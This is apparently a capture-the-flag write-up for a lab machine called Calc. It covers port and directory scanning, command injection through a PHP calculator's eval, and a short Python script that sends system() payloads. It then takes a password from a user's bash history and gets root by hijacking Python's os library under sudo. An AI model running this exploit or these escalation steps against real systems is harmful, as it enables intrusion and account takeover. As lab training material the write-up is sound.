[Write-Up] HackingClub: Calc
Table of Contents
Recon #
Nmap #
┌──(kali㉿kali)-[~/Machines/HC-Calc]
└─$ nmap -sS calc.hc
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-11 22:27 -0400
Nmap scan report for calc.hc (172.16.8.94)
Host is up (0.27s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
Nmap done: 1 IP address (1 host up) scanned in 255.05 seconds
We’ve found three services running, a SSH service, a RPCBind service and a HTTP service, all running on default ports. We proceed to enumerate the web server.
Enumeration #
Having found a web service running, we started by looking into it.
Fuzzing HTTP #
┌──(kali㉿kali)-[~/Machines/HC-Calc]
└─$ ffuf -u http://calc.hc/FUZZ -w /usr/share/wordlists/dirb/common.txt -e php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://calc.hc/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Extensions : php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 9732, Words: 1251, Lines: 409, Duration: 159ms]
.htpasswd [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 5209ms]
.htpasswdphp [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 149ms]
.htaccessphp [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 158ms]
.hta [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 1221ms]
.htaphp [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 2229ms]
.htaccess [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 2229ms]
cgi-bin/ [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 171ms]
index.php [Status: 200, Size: 9732, Words: 1251, Lines: 409, Duration: 171ms]
:: Progress: [9228/9228] :: Job [1/1] :: 246 req/sec :: Duration: [0:00:47] :: Errors: 0 ::
We’ve found no relevant endpoints.
Vulnerabilities #
Command Injection via eval() #
By exploring the Calc functionality, we first try to see if we can get a RCE on that. Trying to run some bash commands don’t seem to find anything.
We saw earlier that it’s has an index.php and looking at the response readers we confirm it’s a PHP application. So we start to explore it’s behaviors considering that:
Do some eval PHP type command injection and find we can run commands freely
1+1 = 2
# outputs: 2
1+1;
# outputs: 2 - maybe an eval on php
1\*pi()
# outputs: pi - probably an eval
1+ord('a')
# outputs: 98 - probably an eval
\$letter=5;1+\$letter
# outputs: 5
$letter=system('ls');
# outputs: impossible-to-fuzzing-this-file.txtindex.phpindex.php
system('ls');
# outputs: impossible-to-fuzzing-this-file.txtindex.phpindex.php
Exploitation #
Created an exploit that run commands using that system structure:
import requests
import argparse
parser = argparse.ArgumentParser(
prog='CalcCmd',
description='Run an RCE on Calc.HC',
epilog='Give a command to execute'
)
parser.add_argument('host')
parser.add_argument('-c','--command')
args = parser.parse_args()
HOST=args.host
COMMAND=args.command
data = {'calc': f'system("{COMMAND}")'}
r = requests.post(f'{HOST}', data=data)
print(r.content)
Now we can run a reverse shell and get access to the host as the user apache:
┌──(kali㉿kali)-[~/Machines/HC-Calc]
└─$ python3 cmd.py http://calc.hc -c "ls"
b'impossible-to-fuzzing-this-file.txt\nindex.php\nindex.php'
┌──(kali㉿kali)-[~/Machines/HC-Calc]
└─$ python3 cmd.py http://calc.hc -c "cat impossible-to-fuzzing-this-file.txt"
b'uhc{REDACTED}\nuhc{REDACTED}'
Privilege Escalation #
We get initial access as apache user. Stabilize shell using Shells
Doing recon we find a user sysadmin. This user has lax permission on his home. We can read some files of interest:
bash-4.2$ ls -lhart /home/sysadmin
total 20K
-rw-r--r-- 1 sysadmin sysadmin 231 Jul 15 2020 .bashrc
-rw-r--r-- 1 sysadmin sysadmin 193 Jul 15 2020 .bash_profile
-rw-r--r-- 1 sysadmin sysadmin 18 Jul 15 2020 .bash_logout
drwxr-xr-x 4 root root 38 May 28 2021 ..
-r-------- 1 sysadmin sysadmin 20 May 28 2021 user.txt
drwxrwxr-x 2 sysadmin sysadmin 61 May 28 2021 .ssh
drwxrwxr-x 3 sysadmin sysadmin 111 May 28 2021 .
-rw----r-- 1 sysadmin sysadmin 160 May 25 23:03 .bash_history
bash-4.2$ cat /home/sysadmin/.bash_history
history
ls -la
sudo
55371a2307eb5fee50f54dc93224e96f
exit
nano /usr/lib64/python3.7/os.py
nano /usr/lib64/python3.7/os.py
nano /usr/lib64/python3.7/os.py
exit
bash-4.2$ ls -lhart /home/sysadmin/.ssh
total 8.0K
-rw-r--r-- 1 sysadmin sysadmin 420 May 28 2021 id_rsa.pub
-rw------- 1 sysadmin sysadmin 1.7K May 28 2021 id_rsa
drwxrwxr-x 2 sysadmin sysadmin 61 May 28 2021 .
drwxrwxr-x 3 sysadmin sysadmin 111 May 28 2021 ..
-rw-rw-rw- 1 sysadmin sysadmin 0 May 29 2021 authorized_keys
By looking at the bash history we find that right after su we have the string 55371a2307eb5fee50f54dc93224e96f, we try using that as a password for sysadmin and have a succesful login:
bash-4.2$ su - sysadmin
Password:
Last login: Mon May 25 23:03:24 UTC 2026 on pts/0
[sysadmin@ip-172-16-5-55 ~]$ cat user.txt
uhc{REDACTED}
We also notice that something has been performed on the file /usr/lib64/python3.7/os.py that may be of notice
Pycalc code:
import os
def add(x, y):
return x + y
# This function subtracts two numbers
def subtract(x, y):
return x - y
# This function multiplies two numbers
def multiply(x, y):
return x * y
# This function divides two numbers
def divide(x, y):
return x / y
print("Select operation.")
print("1.Add")
print("2.Subtract")
print("3.Multiply")
print("4.Divide")
while True:
# Take input from the user
choice = input("Enter choice(1/2/3/4): ")
# Check if choice is one of the four options
if choice in ('1', '2', '3', '4'):
num1 = float(input("Enter first number: "))
num2 = float(input("Enter second number: "))
if choice == '1':
print(num1, "+", num2, "=", add(num1, num2))
elif choice == '2':
print(num1, "-", num2, "=", subtract(num1, num2))
elif choice == '3':
print(num1, "*", num2, "=", multiply(num1, num2))
elif choice == '4':
print(num1, "/", num2, "=", divide(num1, num2))
break
else:
print("Invalid Input")
We notice that calc.py uses the os lib. If we add the lib pty and a pty.spawn("/bin/bash") We can get a root shell
[sysadmin@ip-172-16-5-55 ~]$ sudo /usr/bin/python3 /opt/pycalc/calc.py
[root@ip-172-16-5-55 sysadmin]# cd /root
[root@ip-172-16-5-55 ~]# cat root.txt
uhc{REDACTED}
Flags #
- Initial RCE (Command Injection):
uhc{REDACTED} - User (SSH password reuse):
uhc{REDACTED} - Root (pycalc/os.py library hijack):
uhc{REDACTED}